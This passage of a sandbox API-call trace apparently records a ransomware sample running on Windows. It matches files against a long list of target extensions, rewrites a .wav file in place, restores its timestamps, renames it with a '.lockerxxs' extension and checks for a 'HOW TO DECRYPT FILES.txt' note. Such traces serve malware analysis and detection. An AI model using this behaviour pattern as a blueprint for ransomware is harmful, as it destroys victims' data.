(lpString="*.vmx") returned 5 [0090.738] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.vmdk") returned 0 [0090.738] lstrlenA (lpString="*.vmdk") returned 6 [0090.738] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.vdi") returned 0 [0090.738] lstrlenA (lpString="*.vdi") returned 5 [0090.738] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.lay6") returned 0 [0090.738] lstrlenA (lpString="*.lay6") returned 6 [0090.738] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.mpeg") returned 0 [0090.738] lstrlenA (lpString="*.mpeg") returned 6 [0090.738] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.djvu") returned 0 [0090.738] lstrlenA (lpString="*.djvu") returned 6 [0090.738] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.tiff") returned 0 [0090.738] lstrlenA (lpString="*.tiff") returned 6 [0090.738] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.backup") returned 0 [0090.739] lstrlenA (lpString="*.backup") returned 8 [0090.739] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.pdf") returned 0 [0090.739] lstrlenA (lpString="*.pdf") returned 5 [0090.739] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.cert") returned 0 [0090.739] lstrlenA (lpString="*.cert") returned 6 [0090.739] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.docm") returned 0 [0090.739] lstrlenA (lpString="*.docm") returned 6 [0090.739] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.xlsm") returned 0 [0090.739] lstrlenA (lpString="*.xlsm") returned 6 [0090.739] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.dwg") returned 0 [0090.739] lstrlenA (lpString="*.dwg") returned 5 [0090.739] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.nd") returned 0 [0090.739] lstrlenA (lpString="*.nd") returned 4 [0090.739] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.tlg") returned 0 [0090.739] lstrlenA (lpString="*.tlg") returned 5 [0090.739] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.lgb") returned 0 [0090.739] lstrlenA (lpString="*.lgb") returned 5 [0090.739] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.mov") returned 0 [0090.740] lstrlenA (lpString="*.mov") returned 5 [0090.740] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.xdw") returned 0 [0090.740] lstrlenA (lpString="*.xdw") returned 5 [0090.740] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.ods") returned 0 [0090.740] lstrlenA (lpString="*.ods") returned 5 [0090.740] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", pszSpec="*.wav") returned 1 [0090.740] lstrlenA (lpString="*.wav") returned 5 [0090.740] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav" [0090.740] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav" [0090.740] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav." [0090.740] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav.lockerxxs" [0090.740] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\jnyjum_ko0h1jn j6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.741] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x11bcb [0090.741] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9ef7bb00, dwHighDateTime=0x1d5de6b), lpLastAccessTime=0x407536*(dwLowDateTime=0x9e032460, dwHighDateTime=0x1d5d9e2), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9e032460, dwHighDateTime=0x1d5d9e2)) returned 1 [0090.741] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.741] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x11ba5, lpOverlapped=0x0) returned 1 [0090.744] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav") returned="JNYjUM_ko0H1jn J6.wav" [0090.744] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.744] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x11ba5, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x11ba5, lpOverlapped=0x0) returned 1 [0090.745] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.745] CloseHandle (hObject=0x90) returned 1 [0090.745] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\jnyjum_ko0h1jn j6.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\jnyjum_ko0h1jn j6.wav.lockerxxs")) returned 1 [0090.747] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73becf0, ftCreationTime.dwHighDateTime=0x1d5e816, ftLastAccessTime.dwLowDateTime=0xde6d5330, ftLastAccessTime.dwHighDateTime=0x1d5e7f8, ftLastWriteTime.dwLowDateTime=0xde6d5330, ftLastWriteTime.dwHighDateTime=0x1d5e7f8, nFileSizeHigh=0x0, nFileSizeLow=0x18aab, dwReserved0=0x22000321, dwReserved1=0x4e00c4, cFileName="Np19lHodLGr.wav", cAlternateFileName="NP19LH~1.WAV")) returned 1 [0090.747] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.747] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Np19lHodLGr.wav") returned -1 [0090.747] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Np19lHodLGr.wav") returned -1 [0090.747] lstrcmpiA (lpString1="", lpString2="Np19lHodLGr.wav") returned -1 [0090.747] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\JNYjUM_ko0H1jn J6.wav") returned="JNYjUM_ko0H1jn J6.wav" [0090.747] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\" [0090.747] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\") returned="" [0090.747] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\HOW TO DECRYPT FILES.txt" [0090.747] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\how to decrypt files.txt")) returned 0x20 [0090.747] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\", lpString2="Np19lHodLGr.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav" [0090.747] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.ems") returned 0 [0090.747] lstrlenA (lpString="*.ems") returned 5 [0090.747] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.db") returned 0 [0090.747] lstrlenA (lpString="*.db") returned 4 [0090.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.dbf") returned 0 [0090.748] lstrlenA (lpString="*.dbf") returned 5 [0090.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.myox") returned 0 [0090.748] lstrlenA (lpString="*.myox") returned 6 [0090.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.myo") returned 0 [0090.748] lstrlenA (lpString="*.myo") returned 5 [0090.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.qbw") returned 0 [0090.748] lstrlenA (lpString="*.qbw") returned 5 [0090.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.qbb") returned 0 [0090.748] lstrlenA (lpString="*.qbb") returned 5 [0090.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.qbm") returned 0 [0090.748] lstrlenA (lpString="*.qbm") returned 5 [0090.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.qbo") returned 0 [0090.748] lstrlenA (lpString="*.qbo") returned 5 [0090.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.qbx") returned 0 [0090.748] lstrlenA (lpString="*.qbx") returned 5 [0090.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.qba") returned 0 [0090.748] lstrlenA (lpString="*.qba") returned 5 [0090.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.qby") returned 0 [0090.748] lstrlenA (lpString="*.qby") returned 5 [0090.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.qbj") returned 0 [0090.749] lstrlenA (lpString="*.qbj") returned 5 [0090.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.ofx") returned 0 [0090.749] lstrlenA (lpString="*.ofx") returned 5 [0090.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.qif") returned 0 [0090.749] lstrlenA (lpString="*.qif") returned 5 [0090.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.mye") returned 0 [0090.749] lstrlenA (lpString="*.mye") returned 5 [0090.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.mbox") returned 0 [0090.749] lstrlenA (lpString="*.mbox") returned 6 [0090.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.eml") returned 0 [0090.749] lstrlenA (lpString="*.eml") returned 5 [0090.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.pst") returned 0 [0090.749] lstrlenA (lpString="*.pst") returned 5 [0090.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.ost") returned 0 [0090.749] lstrlenA (lpString="*.ost") returned 5 [0090.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.idx") returned 0 [0090.749] lstrlenA (lpString="*.idx") returned 5 [0090.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.dbx") returned 0 [0090.750] lstrlenA (lpString="*.dbx") returned 5 [0090.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.sql") returned 0 [0090.750] lstrlenA (lpString="*.sql") returned 5 [0090.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.mdb") returned 0 [0090.750] lstrlenA (lpString="*.mdb") returned 5 [0090.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.fdb") returned 0 [0090.750] lstrlenA (lpString="*.fdb") returned 5 [0090.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.wab") returned 0 [0090.750] lstrlenA (lpString="*.wab") returned 5 [0090.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.dat") returned 0 [0090.750] lstrlenA (lpString="*.dat") returned 5 [0090.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.txt") returned 0 [0090.750] lstrlenA (lpString="*.txt") returned 5 [0090.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.jpeg") returned 0 [0090.750] lstrlenA (lpString="*.jpeg") returned 6 [0090.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.jpg") returned 0 [0090.750] lstrlenA (lpString="*.jpg") returned 5 [0090.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.png") returned 0 [0090.751] lstrlenA (lpString="*.png") returned 5 [0090.751] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.php") returned 0 [0090.751] lstrlenA (lpString="*.php") returned 5 [0090.751] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.cs") returned 0 [0090.751] lstrlenA (lpString="*.cs") returned 4 [0090.751] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.cpp") returned 0 [0090.751] lstrlenA (lpString="*.cpp") returned 5 [0090.751] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.rar") returned 0 [0090.751] lstrlenA (lpString="*.rar") returned 5 [0090.751] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.zip") returned 0 [0090.751] lstrlenA (lpString="*.zip") returned 5 [0090.751] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.html") returned 0 [0090.751] lstrlenA (lpString="*.html") returned 6 [0090.751] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.htm") returned 0 [0090.751] lstrlenA (lpString="*.htm") returned 5 [0090.751] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.xlsx") returned 0 [0090.751] lstrlenA (lpString="*.xlsx") returned 6 [0090.751] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.xls") returned 0 [0090.751] lstrlenA (lpString="*.xls") returned 5 [0090.751] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.mp4") returned 0 [0090.752] lstrlenA (lpString="*.mp4") returned 5 [0090.752] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.ppt") returned 0 [0090.752] lstrlenA (lpString="*.ppt") returned 5 [0090.752] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.pptx") returned 0 [0090.752] lstrlenA (lpString="*.pptx") returned 6 [0090.752] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.doc") returned 0 [0090.752] lstrlenA (lpString="*.doc") returned 5 [0090.752] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.dot") returned 0 [0090.752] lstrlenA (lpString="*.dot") returned 5 [0090.752] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.docx") returned 0 [0090.752] lstrlenA (lpString="*.docx") returned 6 [0090.752] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.7z") returned 0 [0090.752] lstrlenA (lpString="*.7z") returned 4 [0090.752] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.tar") returned 0 [0090.752] lstrlenA (lpString="*.tar") returned 5 [0090.752] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.bz2") returned 0 [0090.752] lstrlenA (lpString="*.bz2") returned 5 [0090.752] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.gz") returned 0 [0090.752] lstrlenA (lpString="*.gz") returned 4 [0090.752] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.mkv") returned 0 [0090.753] lstrlenA (lpString="*.mkv") returned 5 [0090.753] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 